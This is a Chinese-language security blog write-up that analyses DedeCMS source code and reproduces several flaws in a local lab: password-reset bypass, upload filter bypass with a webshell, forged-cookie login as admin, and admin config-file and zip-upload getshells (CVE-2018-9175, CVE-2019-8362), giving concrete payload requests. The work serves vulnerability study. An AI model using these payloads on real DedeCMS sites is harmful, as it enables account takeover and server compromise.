Drunkmars's Blog

Dedecms(织梦cms)漏洞分析及复现

字数统计: 4.6k阅读时长: 21 min
2021/05/12 1201

本文首发于先知社区:https://xz.aliyun.com/t/9705

本文将对dedecms(织梦cms)所存在的漏洞进行分析和复现。

环境搭建

下载DedeCMS源码放到phpstudy目录下

然后输入127.0.0.1/DedeCMS/uploads/install/index.php进行安装

进入环境检测页面

进行环境配置

这里先进入网站的后台

默认密码为admin admin

这里需要改一下绝对路径

系统默认管理路径是dede,登陆管理后台可以通过地址http://127.0.0.1/dede/login.php进行访问

这里我直接在根目录下更改

重新进去管理员后台即可

然后再对php文件进行修改

然后再对默认的管理员名称和密码进行修改

更改成功

对数据进行还原

看一下网站的地址

点击生成更新网站

更新后如图所示

然后即可访问网站,CMS搭建完毕

image-20210610233603947

漏洞分析及复现

前台任意用户密码修改

漏洞成因

在用户密码重置功能处,php存在弱类型比较,导致如果用户没有设置密保问题的情况下可以绕过验证密保问题,直接修改密码(管理员账户默认不设置密保问题)。值得注意的是修改的密码是member表中的密码,即使修改了管理员密码也是member表中的管理员密码,仍是无法进入管理。

漏洞代码分析

php弱类型比较问题很常见,在不同类型比较时,如果使用的是==,php会将其中一个数据进行强制转换为另一个,比如’123a’就会被强制转换成123。这样就出现了弱类型比较问题,当然如果使用===判断比较就不会出现问题了,常见比较如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

'' == 0 == false '123' == 123 //'123'强制转换为123

'abc' == 0 //intval('abc')==0

'123a' == 123 //intval('123a')==123

'1' == 1 //被识别为十六进制

'0e123456789' == '0e987654321' //被识别为科学计数法

[false] == [0] == [NULL] == ['']

NULL == false == 0

true == 1

dedecms的/member/resetpassword.php就是用来处理用户密码重置的问题,问题出在75行开始处理验证密保问题处。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
else if($dopost == "safequestion")
{
$mid = preg_replace("#[^0-9]#", "", $id);
$sql = "SELECT safequestion,safeanswer,userid,email FROM #@__member WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(empty($safequestion)) $safequestion = '';

if(empty($safeanswer)) $safeanswer = '';

if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)
{
sn($mid, $row['userid'], $row['email'], 'N');
exit();
}
else
{
ShowMsg("对不起,您的安全问题或答案回答错误","-1");
exit();
}

}

可以看到,这段代码先是从数据库取出相关用户的密保问题及密保答案,在对用户输入做了一些处理后,进行了关键性的判断

1
if($row['safequestion'] == $safequestion && $row['safeanswer'] == $safeanswer)

就在这里用了弱类型判断==。

首先我们知道,如果没有设置密保的话safequestion从数据库取出默认为’0’,safeanswer为空。根据empty函数特性,’0’会被判断为空,会进入重新将$safequestion赋值为’’。而’0’ != ‘’,所以我们需要一个输入即不使empty为空,且弱类型等于’0’的字符串。’00’、’000’、’0.0’以上这些都是可以的。

接下来safeanswer既然本来就为空,那么不输入正好也就相等了,跟踪sn函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function sn($mid,$userid,$mailto, $send = 'Y')
{
global $db;
$tptim= (60*10);
$dtime = time();
$sql = "SELECT * FROM #@__pwd_tmp WHERE mid = '$mid'";
$row = $db->GetOne($sql);
if(!is_array($row))
{
//发送新邮件;
newmail($mid,$userid,$mailto,'INSERT',$send);
}
//10分钟后可以再次发送新验证码;
elseif($dtime - $tptim > $row['mailtime'])
{
newmail($mid,$userid,$mailto,'UPDATE',$send);
}
//重新发送新的验证码确认邮件;
else
{
return ShowMsg('对不起,请10分钟后再重新申请', 'login.php');
}
}

跟踪newmail

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function newmail($mid, $userid, $mailto, $type, $send)
{
global $db,$cfg_adminemail,$cfg_webname,$cfg_basehost,$cfg_memberurl;
$mailtime = time();
$randval = random(8);
$mailtitle = $cfg_webname.":密码修改";
$mailto = $mailto;
$headers = "From: ".$cfg_adminemail."\r\nReply-To: $cfg_adminemail";
$mailbody = "亲爱的".$userid.":\r\n您好!感谢您使用".$cfg_webname."网。\r\n".$cfg_webname."应您的要求,重新设置密码:(注:如果您没有提出申请,请检查您的信息是否泄漏。)\r\n本次临时登陆密码为:".$randval." 请于三天内登陆下面网址确认修改。\r\n".$cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid;
if($type == 'INSERT')
{
$key = md5($randval);
$sql = "INSERT INTO `#@__pwd_tmp` (`mid` ,`membername` ,`pwd` ,`mailtime`)VALUES ('$mid', '$userid', '$key', '$mailtime');";
if($db->ExecuteNoneQuery($sql))
{
if($send == 'Y')
{
sendmail($mailto,$mailtitle,$mailbody,$headers);
return ShowMsg('EMAIL修改验证码已经发送到原来的邮箱请查收', 'login.php','','5000');
} else if ($send == 'N')
{
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}
}
else
{
return ShowMsg('对不起修改失败,请联系管理员', 'login.php');
}
}

可见在sn函数中将send参数设置了’N’,其实就是生成了暂时密码并插入了数据库中,并进行跳转

1
2
3
4
else if ($send == 'N')
{
return ShowMsg('稍后跳转到修改页', $cfg_basehost.$cfg_memberurl."/resetpassword.php?dopost=getpasswd&id=".$mid."&key=".$randval);
}

跳转链接就是修改密码的链接了

漏洞复现

首先打开后台管理页面开启会员功能

注册一个帐号

信息的话随便填一下即可注册成功

然后进入了个人中心

进入会员中心

点击通过安全问题取回

输入用户名

拖入bp改包为payload

1
dopost=safequestion&id=1&userid=admin&safequestion=00&safeanswer=0&vdcode=Vs4p

进入url,修改密码

前台文件上传漏洞

漏洞分析

漏洞在于用户发布文章上传图片处。处理文件在/include/dialog/select_images_post.php

而上传文件存在全局过滤/include/uploadsafe.inc.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#/include/uploadsafe.inc.php
$cfg_not_allowall = "php|pl|cgi|asp|aspx|jsp|php3|shtm|shtml";
if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
{
if(!defined('DEDEADMIN'))
{
exit('Not Admin Upload filetype not allow !');
}
}
$imtypes = array
(
"image/pjpeg", "image/jpeg", "image/gif", "image/png",
"image/xpng", "image/wbmp", "image/bmp"
);

if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
{
$image_dd = @getimagesize($$_key);
if (!is_array($image_dd))
{
exit('Upload filetype not allow !');
}
}

可以看到名字中不得有上述字符,且限制了content-type。按道理说直接限制不得存在的字符,似乎没有问题了,可在发布文章文件上传的处理文件select_images_post.php中存在如下代码:

1
2
3
4
5
6
7
$imgfile_name = trim(preg_replace("#[ \r\n\t\*\%\\\/\?><\|\":]{1,}#", '', $imgfile_name));

if(!preg_match("#\.(".$cfg_imgtype.")#i", $imgfile_name)) #$cfg_imgtype = 'jpg|gif|png';
{
ShowMsg("你所上传的图片类型不在许可列表,请更改系统对扩展名限定的配置!", "-1");
exit();
}

再次过滤了图片名,并且再次判断如上三种文件类型是否存在其中。这么一次过滤,直接粗暴的将一些特殊字符替换为空,那么我们就可以通过特殊字符绕过上面的全局文件名不能包含php字符的限制,比如文件名为1.jpg.p*hp。

漏洞复现

登录test1用户,点击内容中心

需要邮箱认证,这里因为在本地复现就直接给一个正常发文的权限即可

登入管理员后台修改为正常使用状态

再点击内容中心即可

然后准备一个一句话木马

先尝试下直接上传php改type

发现返回为filetyoe not allow,可能不行

这里尝试混淆文件名,也拦截了

这里我直接上传一个图片马,然后能够上传成功

1
copy 1.jpg/b + 2.php/a 3.jpg

访问一下也能够访问到

连接一下发现返回数据为空,这里排查了下问题是因为上传的后缀名为jpg所以不能够解析

使用图片马更改后缀名即可

蚁剑连接即可

用post传参把phpinfo()打出来

DedeCMS任意用户登录

漏洞原理

dedecms的会员模块的身份认证使用的是客户端session,在Cookie中写入用户ID并且附上ID__ckMd5,用做签名。主页存在逻辑漏洞,导致可以返回指定uid的ID的Md5散列值。原理上可以伪造任意用户登录。

代码分析

在/member/index.php中会接收uid和action参数。uid为用户名,进入index.php后会验证Cookie中的用户ID与uid(用户名)并确定用户权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
if($action == '')
{
include_once(DEDEINC."/channelunit.func.php");
$dpl = new DedeTemplate();
$tplfile = DEDEMEMBER."/space/{$_vars['spacestyle']}/index.htm";

//更新最近访客记录及站点统计记录
$vtime = time();
$last_vtime = GetCookie('last_vtime');
$last_vid = GetCookie('last_vid');
if(empty($last_vtime))
{
$last_vtime = 0;
}
if($vtime - $last_vtime > 3600 || !preg_match('#,'.$uid.',#i', ','.$last_vid.','))
{
if($last_vid!='')
{
$last_vids = explode(',',$last_vid);
$i = 0;
$last_vid = $uid;
foreach($last_vids as $lsid)
{
if($i>10)
{
break;
}
else if($lsid != $uid)
{
$i++;
$last_vid .= ','.$last_vid;
}
}
}
else
{
$last_vid = $uid;
}
PutCookie('last_vtime', $vtime, 3600*24, '/');
PutCookie('last_vid', $last_vid, 3600*24, '/');

我们可以看到当uid存在值时就会进入我们现在的代码中,当cookie中的last_vid中不存在值为空时,就会将uid值赋予过去,$last_vid
= $uid;,然后PutCookie。

那么这么说,我们控制了$uid就相当于可以返回任意值经过服务器处理的md5值。

而在接下来会验证用户是否登录。

现在我们来看看,dedecms会员认证系统是怎么实现的:/include/memberlogin.class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
//php5构造函数
function __construct($kptime = -1, $cache=FALSE)
{
global $dsql;
if($kptime==-1){
$this->M_KeepTime = 3600 * 24 * 7;
}else{
$this->M_KeepTime = $kptime;
}
$formcache = FALSE;
$this->M_ID = $this->GetNum(GetCookie("DedeUserID"));
$this->M_LoginTime = GetCookie("DedeLoginTime");
$this->fields = array();
$this->isAdmin = FALSE;
if(empty($this->M_ID))
{
$this->ResetUser();
}else{
$this->M_ID = intval($this->M_ID);

if ($cache)
{
$this->fields = GetCache($this->memberCache, $this->M_ID);
if( empty($this->fields) )
{
$this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
} else {
$formcache = TRUE;
}
} else {
$this->fields = $dsql->GetOne("Select * From `#@__member` where mid='{$this->M_ID}' ");
}

if(is_array($this->fields)){
#api{{
if(defined('UC_API') && @include_once DEDEROOT.'/uc_client/client.php')
{
if($data = uc_get_user($this->fields['userid']))
{
if(uc_check_avatar($data[0]) && !strstr($this->fields['face'],UC_API))
{
$this->fields['face'] = UC_API.'/avatar.php?uid='.$data[0].'&size=middle';
$dsql->ExecuteNoneQuery("UPDATE `#@__member` SET `face`='".$this->fields['face']."' WHERE `mid`='{$this->M_ID}'");
}
}
}
#/aip}}

//间隔一小时更新一次用户登录时间
if(time() - $this->M_LoginTime > 3600)
{
$dsql->ExecuteNoneQuery("update `#@__member` set logintime='".time()."',loginip='".GetIP()."' where mid='".$this->fields['mid']."';");
PutCookie("DedeLoginTime",time(),$this->M_KeepTime);
}
$this->M_LoginID = $this->fields['userid'];
$this->M_MbType = $this->fields['mtype'];
$this->M_Money = $this->fields['money'];
$this->M_UserName = FormatUsername($this->fields['uname']);
$this->M_Scores = $this->fields['scores'];
$this->M_Face = $this->fields['face'];
$this->M_Rank = $this->fields['rank'];
$this->M_Spacesta = $this->fields['spacesta'];
$sql = "Select titles From #@__scores where integral<={$this->fields['scores']} order by integral desc";
$scrow = $dsql->GetOne($sql);
$this->fields['honor'] = $scrow['titles'];
$this->M_Honor = $this->fields['honor'];
if($this->fields['matt']==10) $this->isAdmin = TRUE;
$this->M_UpTime = $this->fields['uptime'];
$this->M_ExpTime = $this->fields['exptime'];
$this->M_JoinTime = MyDate('Y-m-d',$this->fields['jointime']);
if($this->M_Rank>10 && $this->M_UpTime>0){
$this->M_HasDay = $this->Judgemember();
}
if( !$formcache )
{
SetCache($this->memberCache, $this->M_ID, $this->fields, 1800);
}
}else{
$this->ResetUser();
}
}
}

$this->M_ID等于Cookie中的DedUserID,我们继续看看GetCookie函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
if ( ! function_exists('GetCookie'))
{
function GetCookie($key)
{
global $cfg_cookie_encode;
if( !isset($_COOKIE[$key]) || !isset($_COOKIE[$key.'__ckMd5']) )
{
return '';
}
else
{
if($_COOKIE[$key.'__ckMd5']!=substr(md5($cfg_cookie_encode.$_COOKIE[$key]),0,16))
{
return '';
}
else
{
return $_COOKIE[$key];
}
}
}
}

它不但读了cookie还验证了md5值。

这样,由于index.php中我们可以控制返回一个输入值和这个输入值经过服务器处理后的md5值。那么如果我们伪造DedUserID和它对应的MD5就行了。

最后一个问题,因为我们上面是通过用户名伪造ID的,用户名为字符串而ID为整数,但好在在构造用户类中将M_ID intval了一下$this->M_ID = intval($this->M_ID); 那么这么说,如果我们想伪造ID为1的用户的Md5,我们只要在上面设置uid(用户名)为’000001’即可。

可以看到已经获取到了,拿去当做DeDeUserID,可以看到,登陆了admin用户

Dedecms V5.7后台的两处getshell(CVE-2018-9175)

漏洞成因

后台写配置文件过滤不足导致写shell

代码分析

第一个

/dede/sys_verifies.php中的第152行处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
else if ($action == 'getfiles')
{
if(!isset($refiles))
{
ShowMsg("你没进行任何操作!","sys_verifies.php");
exit();
}
$cacheFiles = DEDEDATA.'/modifytmp.inc';
$fp = fopen($cacheFiles, 'w');
fwrite($fp, '<'.'?php'."\r\n");
fwrite($fp, '$tmpdir = "'.$tmpdir.'";'."\r\n");
$dirs = array();
$i = -1;
$adminDir = preg_replace("#(.*)[\/\\\\]#", "", dirname(__FILE__));
foreach($refiles as $filename)
{
$filename = substr($filename,3,strlen($filename)-3);
if(preg_match("#^dede/#i", $filename))
{
$curdir = GetDirName( preg_replace("#^dede/#i", $adminDir.'/', $filename) );
} else {
$curdir = GetDirName($filename);
}
if( !isset($dirs[$curdir]) )
{
$dirs[$curdir] = TestIsFileDir($curdir);
}
$i++;
fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n");
}
fwrite($fp, '$fileConut = '.$i.';'."\r\n");
fwrite($fp, '?'.'>');
fclose($fp);

可以看到,这里会将$refiles数组中的内容写入配置文件modifytmp.inc中。

dedecms对于输入是全局过滤的,在/common.inc.php中注册并过滤了外部提交的变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
if( strlen($svar)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$svar) )
{
exit('Request var not allow!');
}
$svar = addslashes($svar);
}
}
return $svar;
}

if (!defined('DEDEREQUEST'))
{
//检查和注册外部提交的变量 (2011.8.10 修改登录时相关过滤)
function CheckRequest(&$val) {
if (is_array($val)) {
foreach ($val as $_k=>$_v) {
if($_k == 'nvarname') continue;
CheckRequest($_k);
CheckRequest($val[$_k]);
}
} else
{
if( strlen($val)>0 && preg_match('#^(cfg_|GLOBALS|_GET|_POST|_COOKIE|_SESSION)#',$val) )
{
exit('Request var not allow!');
}
}
}

//var_dump($_REQUEST);exit;
CheckRequest($_REQUEST);
CheckRequest($_COOKIE);

foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
if($_k == 'nvarname') ${$_k} = $_v;
else ${$_k} = _RunMagicQuotes($_v);
}
}
}

上面的$refiles就是注册的外部变量,可见已经addlashes了而我们还是需要绕过fwrite($fp, '$files['.$i.'] = "'.$filename.'";'."\r\n"); 实现注入shell,首先需要注入就必须闭合双引号,在这里有个诡异的操作

1
$filename = substr($filename,3,strlen($filename)-3);

去掉了输入的前三个字符,这样就为我们写shell制造了机会,当我们输入" 时经过addlashes会变成\",再去掉前三个字符就只剩下双引号实现闭合。

此时写入shell后只要再找一个包含modifytmp.inc文件的文件就好了,全局搜索一下可以发现就在本文件/dede/sys_verifies.php

第二个

同样是写配置文件,位于/dede/sys_cache_up.php

1
2
3
4
5
6
7
8
else if($step == 2)
{
include_once(DEDEINC."/enums.func.php");
WriteEnumsCache();
//WriteAreaCache(); 已过期
ShowMsg("成功更新枚举缓存,准备更新调用缓存...", "sys_cache_up.php?dopost=ok&step=3&uparc=$uparc");
exit();
}

跟进WriteEnumsCache()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function WriteEnumsCache($egroup='')
{
global $dsql;
$egroups = array();
if($egroup=='') {
$dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` GROUP BY egroup ");
}
else {
$dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` WHERE egroup='$egroup' GROUP BY egroup ");
}
$dsql->Execute('enum');
while($nrow = $dsql->GetArray('enum')) {
$egroups[] = $nrow['egroup'];
}
foreach($egroups as $egroup)
{
$cachefile = DEDEDATA.'/enums/'.$egroup.'.php';
$fp = fopen($cachefile,'w');
fwrite($fp,'<'."?php\r\nglobal \$em_{$egroup}s;\r\n\$em_{$egroup}s = array();\r\n");
$dsql->SetQuery("SELECT ename,evalue,issign FROM `#@__sys_enum` WHERE egroup='$egroup' ORDER BY disorder ASC, evalue ASC ");
$dsql->Execute('enum');
$issign = -1;
$tenum = false; //三级联动标识
while($nrow = $dsql->GetArray('enum'))
{
fwrite($fp,"\$em_{$egroup}s['{$nrow['evalue']}'] = '{$nrow['ename']}';\r\n");
if($issign==-1) $issign = $nrow['issign'];
if($nrow['issign']==2) $tenum = true;
}
if ($tenum) $dsql->ExecuteNoneQuery("UPDATE `#@__stepselect` SET `issign`=2 WHERE egroup='$egroup'; ");
fwrite($fp,'?'.'>');
fclose($fp);
if(empty($issign)) WriteEnumsJs($egroup);
}
return '成功更新所有枚举缓存!';
}

可以看到,直接从数据库中读取并写入php文件中,从数据库中取出后并没有经过过滤。

将shell写进数据库中

1
https://192.168.10.3/DedeCMS/uploads/dede/stepselect_main.php?action=addenum_save&ename=123&egroup=;phpinfo();//&islogin=1

漏洞复现

因为包含是在同一个文件,所以直接输入

1
192.168.10.3/DedeCMS/Drunkmars/sys_verifies.php?action=getfiles&refiles[]=123&refiles[]=\%22;phpinfo();die();// 

DedeCMS 后台文件上传getshell(CVE-2019-8362)

漏洞成因

上传zip文件解压缩对于文件名过滤不周,导致getshell

代码分析

/dede/album_add.php 175行验证后缀

1
$fm->GetMatchFiles($tmpzipdir,"jpg|png|gif",$imgs);

进入函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function GetMatchFiles($indir, $fileexp, &$filearr)
{
$dh = dir($indir);
while($filename = $dh->read())
{
$truefile = $indir.'/'.$filename;
if($filename == "." || $filename == "..")
{
continue;
}
else if(is_dir($truefile))
{
$this->GetMatchFiles($truefile, $fileexp, $filearr);
}
else if(preg_match("/\.(".$fileexp.")/i",$filename))
{
$filearr[] = $truefile;
}
}
$dh->close();
}

可以确定preg_match(“/\.(“.$fileexp.”)/i”,$filename)只是判断了文件名中是否存在.jpg、.png、.gif中的一个,只要构造1.jpg.php就可以绕过

2.5.3 漏洞复现

生成一个1.php并改名为1.jpg.php

1
<?php phpinfo();?>

将文件压缩为1.zip

找到文件式管理器下的soft目录

将压缩文件上传

访问album_add.php

1
http://192.168.10.3/DedeCMS/Drunkmars/album_add.php

选择从zip包中解压图片

发布后点击预览文档

点击上传的包

即可打出phpinfo()

CATALOG
  1. 1. 环境搭建
  2. 2. 漏洞分析及复现